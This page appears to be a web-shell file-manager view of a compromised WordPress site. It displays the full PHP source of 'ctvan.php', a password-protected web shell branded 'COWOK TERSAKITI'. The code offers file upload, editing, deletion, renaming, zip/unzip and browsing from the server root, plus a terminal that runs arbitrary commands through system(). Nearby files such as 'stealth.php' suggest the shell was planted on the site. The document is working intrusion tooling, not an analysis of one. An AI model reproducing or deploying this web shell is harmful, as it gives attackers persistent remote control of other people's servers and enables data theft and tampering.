File Manager

📁 Media Files

📋 .htaccess 📋 .tmb 📋 .well-known 📋 cgi-bin 🔧 ctvan.php 📋 error_log 🔧 index.php 📄 license.txt 🌐 readme.html 🔧 stealth.php 📋 subdomain 🔧 wp-activate.php 📋 wp-admin 🔧 wp-blog-header.php 🔧 wp-comments-post.php 🔧 wp-config-sample.php 🔧 wp-config.php 📋 wp-content 🔧 wp-cron.php 📋 wp-includes 🔧 wp-links-opml.php 🔧 wp-load.php 🔧 wp-login.php 🔧 wp-mail.php 🔧 wp-settings.php 🔧 wp-signup.php 🔧 wp-trackback.php 🔧 xmlrpc.php

⬆️ Upload Media

📝 Edit: ctvan.php

Size: 13.63 KB | Modified: 2026-11-09 16:21:00

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
session_start();

$PASSWORD = 'Bad_Mariana';
$DOCROOT = '/';
$MAX_UPLOAD = ini_get('upload_max_filesize');

function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }

function safe_join_path($base, $path) {
 $base = rtrim($base, DIRECTORY_SEPARATOR);
 if ($base === '') $base = DIRECTORY_SEPARATOR;

$normalized = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
 $full = $base. DIRECTORY_SEPARATOR. ltrim($normalized, DIRECTORY_SEPARATOR);

$real = realpath($full);
 if ($real === false) {
 $parts = array_filter(explode(DIRECTORY_SEPARATOR, $normalized), 'strlen');
 $cur = $base;
 foreach ($parts as $p) {
 if ($p === '.' || $p === '..') return false;
 $cur.= DIRECTORY_SEPARATOR. $p;
 }
 return $cur;
 }

$base_check = rtrim($base, DIRECTORY_SEPARATOR). DIRECTORY_SEPARATOR;
 $real_check = rtrim($real, DIRECTORY_SEPARATOR). DIRECTORY_SEPARATOR;
 if (strpos($real_check, $base_check) === 0) return $real;
 return false;
}

if (!isset($_SESSION['fm_token'])) {
 $_SESSION['fm_token'] = sha1(uniqid(rand(), true));
}
$TOKEN = $_SESSION['fm_token'];

$logged_in = false;
if (isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === sha1($PASSWORD)) {
 $logged_in = true;
}

if (!$logged_in && isset($_POST['action']) && $_POST['action'] === 'login') {
 $pw = isset($_POST['password']) ? $_POST['password']: '';
 if (sha1($pw) === sha1($PASSWORD)) {
 $_SESSION['fm_auth'] = sha1($PASSWORD);
 $logged_in = true;
 } else {
 $error = 'Password salah.';
 }
}

if ($logged_in && isset($_GET['logout'])) {
 unset($_SESSION['fm_auth']);
 header('Location: '. basename(__FILE__));
 exit;
}

if (!$logged_in) {
?>
<!doctype html>
<html><head><meta charset="utf-8"><title>Login - cowoktersakititeam</title>
<style>body{font-family:sans-serif;text-align:center;padding-top:50px}</style>
</head>
<body>
<h2>File Manager Login</h2>
<?php if (!empty($error)) echo '<p style="color:red">'.h($error).'</p>'; ?>
<form method="post">
 <input type="hidden" name="action" value="login">
 <label>Password: <input type="password" name="password"></label>
 <input type="submit" value="Login">
</form>
</body></html>
<?php exit; }

$dir = isset($_REQUEST['dir']) ? $_REQUEST['dir']: '';
if ($dir === '.' || $dir === './') $dir = '';
$curDir = safe_join_path($DOCROOT, $dir);
if ($curDir === false) {
 $curDir = $DOCROOT;
 $dir = '';
}

$action = isset($_REQUEST['action']) ? $_REQUEST['action']: '';

function check_csrf() {
 if (empty($_POST['token']) || $_POST['token'] !== $_SESSION['fm_token']) die('CSRF mismatch');
}

/* ================= ZIP & UNZIP ================= */

function zip_path($source, $zipFile) {
 if (!extension_loaded('zip')) return false;
 $zip = new ZipArchive();
 if ($zip->open($zipFile, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE) !== TRUE) return false;

$source = realpath($source);

if (is_dir($source)) {
 $files = new RecursiveIteratorIterator(
 new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
 RecursiveIteratorIterator::SELF_FIRST
 );
 foreach ($files as $file) {
 $file = realpath($file);
 $local = str_replace($source. DIRECTORY_SEPARATOR, '', $file);
 if (is_dir($file)) $zip->addEmptyDir($local);
 else $zip->addFile($file, $local);
 }
 } elseif (is_file($source)) {
 $zip->addFile($source, basename($source));
 }
 return $zip->close();
}

function unzip_file($zipFile, $dest) {
 if (!extension_loaded('zip')) return false;
 $zip = new ZipArchive();
 if ($zip->open($zipFile) === TRUE) {
 $zip->extractTo($dest);
 $zip->close();
 return true;
 }
 return false;
}

/* =============================================== */

$msg = ''; $err = '';

if ($action === 'upload' && $_SERVER['REQUEST_METHOD'] === 'POST') {
 check_csrf();
 if (!isset($_FILES['file'])) $err = 'Tidak ada file.';
 else {
 $up = $_FILES['file'];
 if ($up['error'] !== 0) $err = 'Error upload.';
 else {
 $target = safe_join_path($curDir, basename($up['name']));
 if (move_uploaded_file($up['tmp_name'], $target)) $msg = 'Upload sukses.';
 else $err = 'Gagal upload.';
 }
 }
}

if ($action === 'create_folder' && $_SERVER['REQUEST_METHOD'] === 'POST') {
 check_csrf();
 $name = trim($_POST['name']);
 if ($name !== '') {
 $target = safe_join_path($curDir, $name);
 if (!file_exists($target)) {
 if (mkdir($target, 0755)) $msg = 'Folder dibuat.';
 else $err = 'Gagal membuat folder.';
 } else $err = 'Folder sudah ada.';
 } else $err = 'Nama kosong.';
}

// Fungsi Buat File Baru
if ($action === 'create_file' && $_SERVER['REQUEST_METHOD'] === 'POST') {
 check_csrf();
 $name = trim($_POST['name']);
 $content = isset($_POST['content']) ? $_POST['content']: '';
 if ($name !== '') {
 $target = safe_join_path($curDir, $name);
 if (!file_exists($target)) {
 if (file_put_contents($target, $content)) $msg = 'File berhasil dibuat.';
 else $err = 'Gagal membuat file.';
 } else $err = 'File sudah ada.';
 } else $err = 'Nama file kosong.';
}

if ($action === 'delete' && $_SERVER['REQUEST_METHOD'] === 'POST') {
 check_csrf();
 $name = $_POST['name'];
 $target = safe_join_path($curDir, $name);
 if (is_dir($target)) {
 if (@rmdir($target)) $msg = 'Folder dihapus.';
 else $err = 'Gagal hapus folder.';
 } else {
 if (@unlink($target)) $msg = 'File dihapus.';
 else $err = 'Gagal hapus file.';
 }
}

if ($action === 'rename' && $_SERVER['REQUEST_METHOD'] === 'POST') {
 check_csrf();
 if (rename(
 safe_join_path($curDir, $_POST['old']),
 safe_join_path($curDir, $_POST['new'])
 )) $msg = 'Rename sukses.'; else $err = 'Gagal rename.';
}

/* ZIP */
if ($action === 'zip' && $_SERVER['REQUEST_METHOD'] === 'POST') {
 check_csrf();
 $name = $_POST['name'];
 if (zip_path(
 safe_join_path($curDir, $name),
 safe_join_path($curDir, $name.'.zip')
 )) $msg = 'ZIP berhasil.'; else $err = 'ZIP gagal.';
}

/* UNZIP */
if ($action === 'unzip' && $_SERVER['REQUEST_METHOD'] === 'POST') {
 check_csrf();
 if (unzip_file(
 safe_join_path($curDir, $_POST['name']),
 $curDir
 )) $msg = 'UNZIP berhasil.'; else $err = 'UNZIP gagal.';
}

if ($action === 'edit' && isset($_GET['name'])) {
 $target = safe_join_path($curDir, $_GET['name']);
 if (file_exists($target) && !is_dir($target)) $content = file_get_contents($target);
}

if ($action === 'edit_save' && $_SERVER['REQUEST_METHOD'] === 'POST') {
 check_csrf();
 $target = safe_join_path($curDir, $_POST['name']);
 if (file_exists($target) && is_writable($target)) {
 file_put_contents($target, $_POST['content']);
 $msg = 'File tersimpan.';
 } else $err = 'Tidak bisa menulis file.';
}
?>
<!doctype html>
<html><head><meta charset="utf-8"><title>COWOK TERSAKITI File Manager</title>
<style>
body{font-family:Segoe UI,Tahoma,Geneva,Verdana,sans-serif;font-size:14px;color:#333;margin:0;padding:10px;background:#f4f6f8}
.container{max-width:1000px;margin:0 auto;background:#fff;padding:20px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1)}
table{border-collapse:collapse;width:100%;margin-top:15px}
td,th{border:1px solid #ddd;padding:8px;text-align:left}
th{background:#f8f9fa;color:#555;font-weight:600}
tr:hover{background:#f1f1f1}
a{color:#007bff;text-decoration:none}
a:hover{text-decoration:underline}
.status-msg{padding:10px;margin:10px 0;border-radius:4px}
.success{background:#d4edda;color:#155724;border:1px solid #c3e6cb}
.error{background:#f8d7da;color:#721c24;border:1px solid #f5c6cb}
.btn{padding:5px 10px;background:#007bff;color:#fff;border:none;border-radius:4px;cursor:pointer;font-size:12px}
.btn:hover{background:#0056b3}
.input-group{margin:10px 0;padding:15px;background:#f9f9f9;border-radius:4px;border:1px solid #eee}
.form-control{padding:6px;border:1px solid #ccc;border-radius:4px;width:300px}
textarea.form-control{width:100%;height:100px}
.command-box{background:#1e1e1e;color:#0f0;font-family:monospace;padding:15px;border-radius:6px;margin-top:15px;white-space:pre-wrap;}
</style>
</head>
<body>

<div class="container">
<h2>COWOK TERSAKITI File Manager</h2>
<p>Root: <?php echo h($DOCROOT); ?> | PHP: <?php echo phpversion(); ?> | Upload max: <?php echo h($MAX_UPLOAD); ?> | <a href="?logout=1">Logout</a></p>
<?php if($msg) echo '<div class="status-msg success">'.h($msg).'</div>'; if($err) echo '<div class="status-msg error">'.h($err).'</div>'; ?>

<div style="margin-bottom:20px;">
 <form method="post" enctype="multipart/form-data" action="?dir=<?php echo urlencode($dir); ?>" style="display:inline-block">
 <input type="hidden" name="action" value="upload">
 <input type="hidden" name="token" value="<?php echo h($TOKEN); ?>">
 <input type="file" name="file" class="form-control" style="width:auto">
 <input type="submit" value="Upload" class="btn">
 </form>

<form method="post" action="?dir=<?php echo urlencode($dir); ?>" style="display:inline-block">
 <input type="hidden" name="action" value="create_folder">
 <input type="hidden" name="token" value="<?php echo h($TOKEN); ?>">
 <input type="text" name="name" placeholder="Nama folder" class="form-control">
 <input type="submit" value="Buat Folder" class="btn">
 </form>

<form method="post" action="?dir=<?php echo urlencode($dir); ?>" style="display:inline-block">
 <input type="hidden" name="action" value="create_file">
 <input type="hidden" name="token" value="<?php echo h($TOKEN); ?>">
 <input type="text" name="name" placeholder="Nama file (contoh: info.txt)" class="form-control">
 <input type="submit" value="Buat File" class="btn">
 </form>
</div>

<?php
$items = scandir($curDir);
$parent = dirname($dir);
if ($parent === '.') $parent = '';
echo '<p><strong>Current Directory:</strong> /'.h($dir).'</p>';
?>
<table>
<tr><th>Nama</th><th>Jenis</th><th>Ukuran</th><th>Action</th></tr>
<tr><td colspan="4"><a href="?dir=<?php echo urlencode($parent); ?>">⤴ Parent Directory</a></td></tr>
<?php foreach ($items as $f):
if ($f==='.'||$f==='..') continue;
$p = $curDir.DIRECTORY_SEPARATOR.$f;
$isDir = is_dir($p);
?>
<tr>
<td><?php echo h($f); ?></td>
<td><?php echo $isDir?'Folder':'File'; ?></td>
<td><?php echo $isDir?'-':filesize($p); ?></td>
<td>
<?php if ($isDir): ?>
<a href="?dir=<?php echo urlencode(trim($dir.'/'.$f,'/')); ?>">Open</a>
<?php else: ?>
<a href="?dir=<?php echo urlencode($dir); ?>&action=edit&name=<?php echo urlencode($f); ?>">Edit</a>
<?php endif; ?>

<?php if (!$isDir && substr($f,-4)==='.zip'): ?>
<form method="post" style="display:inline" action="?dir=<?php echo urlencode($dir); ?>">
<input type="hidden" name="action" value="unzip">
<input type="hidden" name="token" value="<?php echo h($TOKEN); ?>">
<input type="hidden" name="name" value="<?php echo h($f); ?>">
<input type="submit" value="Unzip" class="btn">
</form>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</table>

<?php if($action==='edit' && isset($content)): ?>
<hr>
<h3>Edit File: <?php echo h($_GET['name']); ?></h3>
<form method="post" action="?dir=<?php echo urlencode($dir); ?>">
<input type="hidden" name="action" value="edit_save">
<input type="hidden" name="name" value="<?php echo h($_GET['name']); ?>">
<input type="hidden" name="token" value="<?php echo h($TOKEN); ?>">
<textarea name="content" style="width:100%;height:300px;font-family:monospace;"><?php echo h($content); ?></textarea>
<p><input type="submit" value="Simpan Perubahan" class="btn"></p>
</form>
<?php endif; ?>

<hr>
<div style="margin-top:20px;">
 <h3>Terminal / Command Line</h3>
 <form method="post" action="?dir=<?php echo urlencode($dir); ?>">
 <input type="hidden" name="action" value="run_command">
 <input type="hidden" name="token" value="<?php echo h($TOKEN); ?>">
 <div class="input-group">
 <input type="text" name="cmd" placeholder="Masukkan perintah (misal: ls -la, pwd, whoami, id)" class="form-control" style="width:100%" required>
 </div>
 <button type="submit" class="btn">Jalankan Perintah</button>
 </form>
 
 <?php if(isset($_POST['action']) && $_POST['action'] === 'run_command' && !empty($_POST['cmd'])): ?>
 <div class="command-box">
 <?php
 $cmd = $_POST['cmd'];
 // Mengamankan perintah dasar untuk mencegah path traversal berbahaya jika perlu
 $cmd = escapeshellcmd($cmd);
 // Menggunakan exec agar output ditampilkan dalam variabel lalu di-echo
 // Peringatan: exec mungkin tidak bekerja jika safe_mode aktif di PHP lama
 ob_start();
 system($cmd. ' 2>&1', $return_var);
 $output = ob_get_clean();
 echo h($output);
 ?>
 </div>
 <p><small>Return Code: <?php echo $return_var; ?></small></p>
 <?php endif; ?>
</div>

</div>
</body></html>

📥 Download

File manager

📁 Media Files

⬆️ Upload Media

📝 Edit: ctvan.php